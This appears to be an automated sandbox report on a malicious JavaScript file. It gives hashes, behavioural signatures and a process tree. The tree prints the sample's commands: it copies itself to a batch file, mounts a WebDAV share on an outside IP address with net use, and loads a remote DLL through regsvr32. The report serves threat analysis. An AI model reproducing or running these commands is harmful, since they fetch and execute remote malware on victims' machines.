Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/07/2024, 07:09

General

  • Target

    1923026809113518098.js

  • Size

    5KB

  • MD5

    b99d494fa04f6720386a27d7d15f626c

  • SHA1

    9c81c334af5a5df8642a9e985663d070c9248be7

  • SHA256

    7ec6e6d04be19d3fafe2ec14ddb33101b325b4caeada78b49d78c26eeb951174

  • SHA512

    7d1f4a587ae400e6ee7a4f4a681ccc8e0cbc710f8fc4d7d82166b1ad2a2d612485184142bf8b516f5f57be9de6b6246343a0fe340858a56ca56f5d0fb7a7392b

  • SSDEEP

    96:kPyMzaZsva4go9AWZPCoa7GRuQwRuEBRakGRx:iuZblaCTCwueRakGRx

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\1923026809113518098.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3064
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\1923026809113518098.js" "C:\Users\Admin\\ljjkmz.bat" && "C:\Users\Admin\\ljjkmz.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:464
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:5076
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\508.dll
          3⤵
            PID:2188

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\ljjkmz.bat

        Filesize

        5KB

        MD5

        b99d494fa04f6720386a27d7d15f626c

        SHA1

        9c81c334af5a5df8642a9e985663d070c9248be7

        SHA256

        7ec6e6d04be19d3fafe2ec14ddb33101b325b4caeada78b49d78c26eeb951174

        SHA512

        7d1f4a587ae400e6ee7a4f4a681ccc8e0cbc710f8fc4d7d82166b1ad2a2d612485184142bf8b516f5f57be9de6b6246343a0fe340858a56ca56f5d0fb7a7392b